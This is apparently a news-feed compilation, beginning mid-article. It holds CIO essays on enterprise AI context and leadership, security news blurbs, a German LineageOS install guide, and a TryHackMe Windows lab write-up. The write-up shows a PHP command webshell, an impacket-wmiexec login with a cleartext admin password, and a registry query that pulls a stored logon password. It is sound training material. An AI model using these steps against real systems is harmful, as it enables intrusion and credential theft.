Integrate the financial stack: If your construction management software and your ERP aren’t sharing a heartbeat, your data is lying to you. Force the integration between Procore and Yardi.



Own the long poles: Don’t leave the procurement of transformers and cooling units to general contractors. Use your balance sheet to secure these items years in advance. In 2026, inventory is the new currency.




This article is published as part of the Foundry Expert Contributor Network.
Want to join?



How a contextual AI fabric turns organizational memory into AI advantage
Wed, 22 Jul 2026 13:05:25 +0200

		
					  
						




Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.



McKinsey’s AI Trust Maturity Survey found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.



Building the analytical and creative capabilities to scale AI, something I explored in a recent piece on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.



The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.



One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.



Competitive differentiation was never about the tools



Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.



An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.



The enterprise AI brain that every organization has but has never assembled



Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.



None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.



BCG’s study across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.



Building a contextual AI fabric



A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.



The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.



The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.



The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.



Proprietary by design



The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.



Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.



From context to coordinated action



Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.



A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.



The leadership question behind the technology question



The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.



For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.



This article is published as part of the Foundry Expert Contributor Network.
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AllSignsPoint2Pwnage — TryHackMe Windows Write-up
Wed, 22 Jul 2026 13:01:32 +0200
AllSignsPoint2Pwnage is a Windows-based room on TryHackMe that requires the user to enumerate open SMB shares and upload a webshell to get an initial foothold on the target. After that one can find higher-level credentials on the target which can be leveraged to gain an administrator shell and gradually extract the admin flag. This room is great for anyone who’s venturing into Windows pentesting and needs practical experience dealing with vulnerable systems.
0x00: Enumeration
Started with running a TCP Scan on the target via Nmap.
nmap -sC -sV -p- 10.48.128.241 
Nmap scan report for 10.48.128.241
Host is up (0.039s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_11-14-20  04:26PM                  173 notice.txt
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
|_http-title: Simple Slide Show
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
|_http-title: Simple Slide Show
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| http-methods: 
|_  Potentially risky methods: TRACE
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DESKTOP-997GG7D
| Not valid before: 2026-07-08T06:13:45
|_Not valid after:  2027-01-07T06:13:45
|_ssl-date: 2026-07-09T06:17:29+00:00; +2s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: DESKTOP-997GG7D
|   NetBIOS_Domain_Name: DESKTOP-997GG7D
|   NetBIOS_Computer_Name: DESKTOP-997GG7D
|   DNS_Domain_Name: DESKTOP-997GG7D
|   DNS_Computer_Name: DESKTOP-997GG7D
|   Product_Version: 10.0.18362
|_  System_Time: 2026-07-09T06:17:20+00:00
5900/tcp open  vnc           VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     Ultra (17)
|_    VNC Authentication (2)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-time: 
|   date: 2026-07-09T06:17:22
|_  start_date: N/A
As revealed in the scan output, the target had open FTP and SMB services running. It also had VNC running on port 5900, which is a tool used to remotely control a computer. The target also had an Apache web server running on port 80.
I visited the webpage and saw a slideshow of several random images.
I checked the page source and found the following JavaScript code.
The code here revealed the /content.php file and the /images/ endpoint.
I visited the /images directory and found the following images that were running on the slideshow.
Next, I moved to FTP enumeration. I got access to the FTP directory because anonymous login was enabled.
There was a notice.txt file.
There was a message left in notice.txt written as follows.
It mentioned that the images FTP directory was moved to a Windows file share, which more probably than not referred to SMB shares.
Next, I moved on to SMB enumeration.
0x01: SMB Enumeration
I used smbclient to list the available shares on the target.
Here I could see several custom shares such as images$ , Installs$ and Users.
I first checked the images share and found the following images as I had seen in the /images directory on the webpage. I wondered if we could upload a webshell here and gain an initial foothold.
I got the PHP reverse shell from PentestMonkey, configured it with my custom IP address and port, and uploaded it to the images SMB share.
I navigated to the /images endpoint on the webpage and tried running the webshell but it immediately got flagged by Windows Defender and was deleted.
Next, I tried using a different webshell which executed commands and took the input via GET-based parameters.







    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>



I uploaded the shell again to the SMB images share and it worked like a charm!
0x02: Web Shell
I was logged in as the sign user. I looked for the user flag in the sign user directory.
The user flag was found in the user_flag.txt file.
Next, I checked out the Installs share in C:\ directory.
The following files were found in the directory.
There were a lot of interesting files to check out here. I viewed the contents of every file, starting with Install Guide.txt .
I couldn’t figure out how these instructions could be of any use to me, so I moved on to other files.
I checked the Install_www_and_deploy.bat script and found the following code.
This seemed like a batch script that was running the infamous PsExec tool by Impacket, authenticating with administrator credentials. Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.
I used Impacket’s WMIExec tool to get a shell on the target. I could have used PsExec, but considering Windows Defender was running on the target, it would have been easily flagged.
impacket-wmiexec Administrator:RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi@10.48.186.208
0x03: Admin Shell
I also had to find the sign user’s password as per the objectives stated in the room. It took me quite a few lookups on Google till I eventually found a way to get the password from the Windows Registry.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
I was able to fetch the user's password from the Winlogon registry key.
Next, I had to find the VNC password. My first instinct was to return to the Installs share as before and look through the ultravnc.ini file.
As can be seen in the first lines of the file itself, we found the encoded password.
I took the encoded parts of the password and used this website to decode them. Online VNC Password Decoder (Decryptor) — KeyDecryptor Tool
I had successfully obtained the VNC password. The only objective that remained was the administrator flag.
I checked the Desktop folder of the Administrator and found the admin flag in admin_flag.txt .
And with that, all the flags were obtained, and the room was solved!
I hope you found this write-up useful. Make sure to drop a follow for more such content in the future.
Happy Hacking!
AllSignsPoint2Pwnage — TryHackMe Windows Write-up was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.


Ransomware, Spies and Hacktivists Converge on UK and Ireland, New Threat Report Warns
Wed, 22 Jul 2026 12:14:50 +0200
A new threat intelligence report has painted a stark picture of the cyber risks facing the UK and Ireland, describing an environment in which ransomware gangs, nation-state spies and politically motivated hacktivists are increasingly working the same terrain, often against the same victims. The “Cyber Threat Landscape: UK & Ireland” report, published by threat intelligence […]
The post Ransomware, Spies and Hacktivists Converge on UK and Ireland, New Threat Report Warns appeared first on IT Security Guru.


Leadership bottlenecks slow AI adoption
Wed, 22 Jul 2026 12:14:12 +0200

		
					  
						




At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.



But these issues are relatively straightforward compared to the bigger challenges relating to the fast pace of change, specifically how AI can touch and transform nearly every aspect of business.



“We’re thinking about it every day,” he says. “My belief is we’ll be seeing a massive acceleration of everything.”



In coding, for example, he’s witnessing productivity increases up to 110% with AI assistants. “I can build apps or custom integrations a lot faster,” he adds.



And the real benefit of AI isn’t just in speeding up individual steps in a process, but in making AI the core of a new business process. But building it from scratch puts even more pressure on organizations trying to get employees up to speed on new ways of doing things.



“We want to move fast, train people, and get them onboarded,” he says. “But what I thought AI was going to do for my organization nine months ago is different from three months ago.” So by the time something is rolled out, it’s changed three times.



“I struggle with the change management aspect,” he says. “The legacy model of change management isn’t fast enough. How do you create that constant learning?”



One of the ways Cisco approaches it is to create communities where people can talk about these issues and share best practices and governance, and you have to keep people’s minds open that every day is going to be different than the last, Andrews adds.



Testing the AI waters



Cisco isn’t the only organization struggling with change management in the face of the AI tsunami. In a survey of 2,000 global CEOs IBM released in May, 83% of them said AI success depends more on adoption than on the technology itself, and 77% said talent and technology roles are converging.



“Thanks to Claude Code, our entire development cadence is exponentially greater than a year ago,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a Denver-based law firm with about 700 employees and clients around the US. But, as with Cisco, the biggest challenge isn’t technical.



“In our industry, with our circumstances, we’re probably less constrained by technical capability than organizational constraints, culture, aptitude, the need to bind people to technology, and what helps me and the client,” he says. “There’s a tremendous amount of cultural shift that has to happen in our organization, which is far more demanding of my attention and complexity of thought than the technical stuff.”



Companies that bill by the hour, such as law firms, may face additional challenges as attorney productivity increases because billable hours might go down. Alternatively, the total number of cases could go up as litigation becomes less expensive. Either way, firms that adapt will see competitive advantage, and the rest will fall behind, putting more pressure on the need for change management.



“If people can’t embrace technology, we won’t be able to get a lot of value out of it,” says Johnson. “I’m talking to people about adapting their way of work. There are certainly a lot of people intrigued and anxious to dive in. They recognize the connection between the potential of the technology and what we do.”



But helping everyone see that connection and then working with them to change their habits is difficult, and requires solid relationships and good communications. “That’s been far more of a bottleneck for us,” he says.



To address the issue, the firm has developed a network of technology champions who also understand the legal side of the business. “Now we need lawyers who know how to use the technology and can articulate these things to the people we’re trying to reach,” Johnson says.



But change management is only one leadership bottleneck slowing AI adoption. Companies also struggle with figuring out their vision for AI, with slow decision-making, and a tendency to focus on the past instead of the future.



Vision and strategy



In another survey, this time of 950 business leaders released by Grant Thornton in April, 51% said strategy is the biggest driver of ROI when it comes to AI adoption, but 79% of operations leaders said they don’t have a fully developed and implemented AI strategy.



“Having leadership understanding why AI is needed and what objective they’re trying to achieve is very important,” says Shivi Verma, senior manager of engineering at Docusign. “Sometimes leadership doesn’t have a strategy for their organization on how AI should be adopted. Many times it’s bottom-up, which creates a chaotic experience.”



When Docusign started adopting gen AI, different teams and organizational units wanted to go in different directions. “All were coming up with their own strategy and tooling,” he says. So Docusign brought business leaders together to understand the pain points, and decide on the technology.



“Getting requirements and placing a bet on a specific technology was important,” he says, “as well as pivoting to a different technology if needed.”



In order to adapt to changes, the company wanted to have a nimble approach, starting with smaller use cases, with power users, and problem areas.



“We try to plan for four to six months,” he adds. “We set expectations for our leadership that we place a bet with a specific technology, but want to be able to pivot.”



Today, the leadership challenge front lines have moved yet again, to agentic AI. “Folks are creating their own agents and deciding their own permissions,” Verma adds. “We’re still coming up with a governance strategy.”



Slow decision-making



When it comes to AI deployments, Dan Diasio, global AI consulting leader at EY and CTO for its US consulting business, admits he’s a bottleneck.



There’s a great deal of interest in what AI can do, and using a variety of new AI tools. But since the firm deals with sensitive client data, safety is paramount. It’s a slow process, but important to build secure infrastructure, and to have trust in the technology. “That’s a reasonable bottleneck that makes sense,” he says.



Trust in the tools they work with is essential because clients expect it. “Every tool we use has to go through a detailed security and information privacy impact assessment, as well as a whole other set of controls so they can be used appropriately and safely,” he says.



These reviews can take a lot of time, though, and in the age of AI, speed is a highly valued currency. So how do you balance the two, when safety reviews can require input from a lot of different stakeholders and be extremely time intensive?



“We’ve stood up a team to be able to quickly certify and address a variety of platforms,” Diasio says. “Instead of working with different departments in the way we used to, we’ve started identifying representatives from different departments into a cohort. Decisions we used to make in months now take weeks.”



According to a West Monroe survey of more than 1,200 leaders released earlier this year, slow decision-making is already showing up on the bottom line. Nearly three out of four leaders said their organizations lose up to 5% of annual revenue to slow decision-making and delayed execution.



And the top reasons for the delays? According to 40% of the managers surveyed, the problem was the skills gaps of overwhelmed teams, and 35% pointed to layers of management or approvals. Nearly half said they’re spending 10 to 25% of their time on rework, excessive approvals, and unnecessary meetings, and more than half say up to 50% of their projects fail or lose momentum to delays.



Focus on the future, not the past



When it comes to the decision about where to apply AI in an organization, the tendency, Diasio says, is to turn to the experts with the most expertise in the business. But these are the same people most likely to focus on improving on what they’re already doing.



“And that often blinds people to what’s possible in the future,” he says. “That becomes a significant bottleneck.” So the solution is to revamp the decision-making process around the new reality.



“What we see some advanced companies do is give people who don’t understand the process but understand the technology equal footing with people who don’t understand the technology but understand the process,” he says. “A lot of companies are disproportionately focused on just addressing their operating model right now.”



Instead of focusing on what they’re currently doing, AI-native companies will start with a focus on the customer, he says. This shift in focus isn’t likely to show up immediately on the bottom line, or result in the highest possible number of pilots going into production.



“If leaders are in a position where they’re justifying the use of a technology to the board or their CFO, they become a bottleneck when they start demonstrating their value in terms of the number of things they’re doing,” Diasio says.



But 150 or 200 use cases deployed into production may feel like progress, like things are happening in the organization. But all these use cases are a waste of time and money if they’re applied to existing processes that don’t move the needle. “We see that happen in organizations today,” he says. “Maybe we need to reinvent the processes.”



It’s no secret that companies will need to change in order to adapt to AI. Deloitte recently surveyed 660 global technology leaders and 81% said their current operating model can deploy and govern AI enterprise-wide, but 75% also said their organization must change its operating model within the next 12 to 18 months to drive greater value.



AI ROI is real, says China Widener, Deloitte vice chair and US tech, media, and telecom industry leader. But it’s currently weighted toward efficiency gains, with broader business transformation and revenue upside still developing.



Another Deloitte survey showed that the clearest results from AI were in productivity, with 66% of organizations reporting gains, and cost efficiency, with 40% saying AI reduces costs. “However, revenue impact is still emerging,” says Widener. “Only one in five companies says AI is driving top-line growth today.” But optimism prevails, with 74% expecting it to do so in the future.



Ransomware, Spies and Hacktivists Converge on UK and Ireland, New Threat Report Warns
Wed, 22 Jul 2026 12:13:14 +0200
A new threat intelligence report has painted a stark picture of the cyber risks facing the UK and Ireland, describing an environment in which ransomware gangs, nation-state spies and politically motivated hacktivists are increasingly working the same terrain, often against…
Read more →
The post Ransomware, Spies and Hacktivists Converge on UK and Ireland, New Threat Report Warns appeared first on IT Security News.


Russian Spies Are Hacking Security Cameras to Track NATO Weapons Shipments
Wed, 22 Jul 2026 11:46:38 +0200
Russian state-backed hackers are systematically hijacking internet-connected security cameras across Europe to monitor NATO logistics routes and weapons shipments bound for Ukraine, turning everyday IP cameras into a battlefield intelligence sensor network. This campaign relies heavily on unpatched vulnerabilities, weak access controls, and AI-powered image analysis to extract and correlate military movement data at scale. […]
The post Russian Spies Are Hacking Security Cameras to Track NATO Weapons Shipments appeared first on Cyber Security News.


Wie Sie Android 17 auf nicht unterstützten Geräten installieren
Wed, 22 Jul 2026 10:34:27 +0200





Smartphones werden heutzutage oft nicht deshalb ausgemustert, weil ihre Hardware versagt. Häufig ist es der fehlende Software-Support, der Nutzer zum Neukauf zwingt: Nach wenigen Jahren gibt es keine großen Android-Updates mehr, Sicherheitslücken bleiben offen und neue Apps setzen irgendwann eine aktuellere Systemversion voraus.



Dabei steckt in vielen älteren Geräten noch genug Leistung für den Alltag. Alternative Betriebssysteme (Custom-ROMs) bieten hier einen Ausweg: Sie verlängern die Lebensdauer von Smartphones, liefern Sicherheitsupdates und machen Schluss mit überladenen Hersteller-Oberflächen. Dank neuer Webinstaller im Browser ist dieser Einstieg heute einfacher als je zuvor – allerdings ist die Community aktuell in zwei Welten geteilt.



Während das besonders sichere GrapheneOS das brandneue Android 17 ausschließlich auf (ältere) Google-Pixel-Handys bringt, versorgt das flexiblere LineageOS weit über 100 Modelle anderer Hersteller mit dem ausgereiften Android 16. Die aktuelle Version LineageOS 23 bringt das Google-System auf Geräte, die offiziell längst keine Updates mehr erhalten. An der Nachfolge-Version LineageOS 24 (auf Basis von Android 17) feilt das Team bereits im Hintergrund – ein fester Veröffentlichungstermin steht community-typisch allerdings noch nicht fest.



LineageOS: Android 16 ohne Herstellerballast


Offizielle Anlaufstelle im Netz: Auf der Homepage von LineageOS finden Nutzer neben den Downloads auch die Ankündigungen zu den aktuellen Updates von Juli 2026.
LineageOS



LineageOS ist ein alternatives Android-Betriebssystem, das auf dem offenen Android-Quellcode (AOSP) basiert und in der aktuellen Version LineageOS 23 auf Android 16 setzt. Entwickelt wird es nicht von einem Hersteller, sondern von einer internationalen Community. Das Ziel: Smartphones länger aktuell halten und Nutzern mehr Kontrolle über ihre Geräte geben.



Entstanden ist LineageOS 2016 als Nachfolger des bekannten Custom-ROMs CyanogenMod. Seitdem hat sich das Projekt zu einer der wichtigsten Android-Alternativen entwickelt. Unterstützt werden zahlreiche Smartphones verschiedener Hersteller – darunter Modelle von Samsung, Xiaomi, Motorola, Sony, OnePlus und Google.



Der große Vorteil gegenüber der Original-Software vieler Hersteller: LineageOS kommt ohne zusätzliche Apps, Werbung oder unnötige Dienste. Nutzer entscheiden selbst, welche Bestandteile sie installieren möchten. Wer Google-Dienste benötigt, kann ein passendes Paket nachrüsten. Wer möglichst wenig Daten mit Google teilen möchte, kann das System auch weitgehend ohne Google verwenden.



Zu den wichtigsten Vorteilen gehören:




aktuelle Android-Versionen auch für ältere Geräte



regelmäßige Sicherheitsupdates



weniger vorinstallierte Hersteller-Apps



mehr Datenschutz und Kontrolle



zahlreiche Anpassungsmöglichkeiten




Damit eignet sich LineageOS besonders für Nutzer, die ihr Smartphone länger verwenden möchten, statt ein technisch noch gutes Gerät wegen fehlender Updates auszutauschen.



Moderne Android-Versionen bringen neue Funktionen auf alte Handys



Egal ob Sie mit dem aktuellen LineageOS 23 auf Android 16 setzen oder als Pixel-Nutzer via GrapheneOS bereits Android 17 nutzen (worauf LineageOS 24 künftig ebenfalls aufbauen wird): Der Wechsel von einem älteren Android verspricht viel mehr als nur eine neue Versionsnummer. Die aktuellen Generationen bringen zahlreiche Verbesserungen bei Sicherheit, Bedienung und Effizienz auf ausgemusterte Geräte.



Gerade ältere Smartphones profitieren von optimierten Hintergrundprozessen und einem schlankeren System. Das kann sich positiv auf die Geschwindigkeit und den Energieverbrauch auswirken – insbesondere bei Geräten, deren Original-Software mit den Jahren immer umfangreicher geworden ist.



Außerdem erhalten Nutzer aktuelle Sicherheitsmechanismen und die neuesten Android-Sicherheitspatches. LineageOS integriert diese regelmäßig in seine Builds und versucht, Verbesserungen auch auf ältere unterstützte Versionen zurückzuführen.


Update-Roadmap der Community: Die Infografik zeigt, wie weit das LineageOS-Team Sicherheits-Patches für ältere LineageOS-Zweige (14 bis 20) zurückportiert und welche Versionen Upstream-Support genießen.
LineageOS 



Die Entwickler haben außerdem die hauseigene Update-App überarbeitet. Sie orientiert sich nun stärker an Googles aktueller Designsprache und zeigt vor einem Update die enthaltene Sicherheitsstufe des Android Security Bulletin an. Dadurch sehen Nutzer transparenter, welche Schutzmaßnahmen mit dem jeweiligen Update installiert werden. Zudem werden System-Updates ab sofort standardmäßig gestreamt. Das schont den oft knappen Speicherplatz älterer Geräte und beschleunigt den Installationsprozess.



Unterstützte Geräte: Nicht jedes Smartphone eignet sich



Der wichtigste Schritt vor der Installation lautet: Prüfen Sie, ob Ihr Smartphone überhaupt unterstützt wird. Nicht jedes Android-Gerät lässt sich mit LineageOS betreiben.



Die offizielle Geräteliste finden Sie im LineageOS-Wiki. Dort sind alle kompatiblen Modelle inklusive Installationsanleitung, Downloads und gerätespezifischen Hinweisen aufgeführt.


Augen auf beim Modellcode: Das LineageOS-Wiki listet kompatible Smartphones anhand exakter Modellvarianten und interner Codenamen auf. Das ist wichtig, weil sich die Hardware manchmal im Detail unterscheidet.
LineageOS



Achten Sie unbedingt auf die genaue Modellbezeichnung. Ein Samsung Galaxy S20 ist beispielsweise nicht automatisch mit jeder Variante der Baureihe kompatibel. Hersteller verkaufen häufig mehrere Versionen eines Smartphones mit unterschiedlichen Prozessoren oder Modems.



Unterstützt wird derzeit eine große Auswahl älterer Geräte. Besonders interessant sind dabei natürlich Smartphones, die technisch noch leistungsfähig sind, aber vom Hersteller keine Updates mehr bekommen.



Hinweis zum künftigen Upgrade: Wer jetzt auf LineageOS 23 (Android 16) setzt, muss bei der späteren Veröffentlichung von LineageOS 24 (Android 17) keine Angst vor einem Datenverlust haben. Der Wechsel auf eine neue Hauptversion gelingt in der Regel ohne Werksreset: Statt über den automatischen Updater spielt man das neue Betriebssystem-Image dafür einmalig manuell über die Recovery-Umgebung des Smartphones ein (per sogenanntem ADB-Sideload) – Ihre installierten Apps, Fotos und Einstellungen bleiben dabei erhalten.



Vor der Installation: Diese Punkte sollten Sie beachten



Ein Custom-ROM ist kein gewöhnliches App-Update. Die Installation verändert die komplette Systemsoftware des Smartphones. Deshalb sollten Sie sich anhand der folgenden Checkliste gründlich vorbereiten:




Vollständige Datensicherung: Sichern Sie Fotos, Videos, Kontakte, Dokumente und wichtige App-Daten. Beim anschließenden Entsperren des Bootloaders wird der interne Speicher in der Regel komplett gelöscht.



Zwei-Faktor-Authentisierung (2FA): Denken Sie an Ihre Kontosicherheit. Wer Authenticator-Apps verwendet, muss die Wiederherstellungscodes sichern oder die Konten vorab auf ein anderes Gerät übertragen.



Bootloader entsperren: Damit fremde Software überhaupt starten kann, muss diese herstellerseitige Sicherheitsbarriere geöffnet werden. Der genaue Ablauf unterscheidet sich dabei je nach Smartphone-Modell.



Garantie & Risiken abwägen: Das Entsperren kann Auswirkungen auf die Herstellergarantie oder spezielle Sicherheitsfunktionen haben. Bei älteren Geräten kann man das in der Praxis oft vernachlässigen – trotzdem ist es besser, sich vorab zu informieren.




LineageOS installieren: Der Webinstaller macht es einfacher



Die Installation eines Custom-ROMs bestand lange aus mehreren komplizierten Schritten: Android-Plattform-Tools auf dem Computer installieren, kryptische Befehle über die Kommandozeile eingeben, Dateien manuell übertragen und anschließend Recovery sowie System installieren. Mit den neuen, browserbasierten Lineage Flash Tools hat das Team diesen Prozess deutlich vereinfacht.



Wichtig zu wissen: Das Tool startet nicht automatisch beim Geräte-Download und nimmt Ihnen das Herunterladen der Dateien nicht ab. Stattdessen lädt man das passende Betriebssystem-Image wie gewohnt manuell herunter. Die Lineage Flash Tools dienen dann als komfortabler Ersatz für die von manchen Nutzern gefürchtete PC-Kommandozeile: Sie rufen die Web-Oberfläche des Tools im Browser auf, verbinden Ihr Smartphone per Mausklick via WebUSB (unterstützt von Chrome oder Edge) und können die Installationsdateien direkt über das Browser-Fenster auf das Handy hochladen.


Das neue Werkzeug im Download-Portal: Über den Reiter „Flash Tools“ lässt sich der Installationsmodus (wie hier Fastboot) auswählen, um das per USB verbundene Smartphone direkt über den Browser zu bespielen.
LineageOS 



Das neue Flash-Tool unterstützt verschiedene Verfahren wie Fastboot und ADB sowie bei bestimmten Geräten auch Samsungs Odin-Protokoll. Dadurch sinkt die Einstiegshürde deutlich. Weil das Team die Funktion schrittweise ausrollt und gerätespezifische Besonderheiten bestehen, ersetzt der Webinstaller jedoch nicht den kompletten Weg: Das vorherige, manuelle Entsperren des Bootloaders bleibt oft weiterhin Pflicht.



Ganz ohne Vorbereitung geht es aber weiterhin nicht. LineageOS unterstützt sehr viele unterschiedliche Geräte, und jedes Modell besitzt eigene Besonderheiten. Deshalb bleiben die offiziellen Anleitungen für individuelle Geräte im LineageOS-Wiki weiterhin Pflichtlektüre.



Dort erfahren Sie unter anderem:




welche Dateien für Ihr Smartphone benötigt werden



wie der Bootloader entsperrt wird



welche Recovery-Umgebung verwendet wird



ob zusätzliche Pakete notwendig sind




Wer die Anleitung Schritt für Schritt befolgt, kommt in der Regel zuverlässig ans Ziel. Fehlerhafte Dateien oder falsche Schritte können jedoch dazu führen, dass das Gerät nicht mehr startet – ein sogenannter Soft-Brick.



Praxis-Tipps für die Browser-Installation:




Lokales ADB beenden: Falls Sie bereits die klassischen Android-Entwicklertools auf Ihrem PC installiert haben, müssen Sie vor der Nutzung des Webtools den Befehl adb kill-server in Ihrer Kommandozeile ausführen, um Konflikte zu vermeiden.



USB-Verbindungsfehler lösen: Der Flash-Vorgang erfordert eine hohe Datendurchsatzrate. Sollte der Webinstaller abbrechen oder die Verbindung zum Gerät verlieren, verzichten Sie auf USB-Hubs, Verlängerungskabel oder Adapter. Schließen Sie das Smartphone direkt an den PC an und testen Sie im Zweifel ein anderes USB-Kabel oder einen anderen USB-Port.



Hilfe bei Problemen: Sollte es dennoch haken, bietet die Community offizielle Anlaufstellen für Support auf Reddit, Discord oder im IRC-Channel (#LineageOS auf Libera.Chat).




Google-Dienste oder maximale Freiheit?



Nach der Installation läuft LineageOS zunächst ohne Google-Dienste. Wer den Play Store, Gmail oder Google Maps weiter nutzen möchte, kann zusätzliche Google-Pakete installieren. Eine häufig verwendete Lösung ist MindTheGapps, das speziell für LineageOS angepasst wurde.



Alternativ können Nutzer auf datenschutzfreundlichere Lösungen wie MicroG setzen oder komplett auf Google verzichten und Apps über alternative Quellen beziehen.



Welche Variante sinnvoll ist, hängt vom eigenen Nutzungsverhalten ab. Für viele Anwender ist die Kombination aus LineageOS und Google-Diensten der einfachste Weg, während Datenschutz-Fans einen anderen Weg wählen können.



GrapheneOS: Die Speziallösung für Pixel-Nutzer (Android 17)



Neben LineageOS gibt es mit GrapheneOS eine weitere bekannte Android-Alternative. Der Ansatz ist allerdings ein anderer: Während LineageOS möglichst viele Geräte unterstützt, konzentriert sich GrapheneOS ausschließlich auf Google-Pixel-Smartphones.



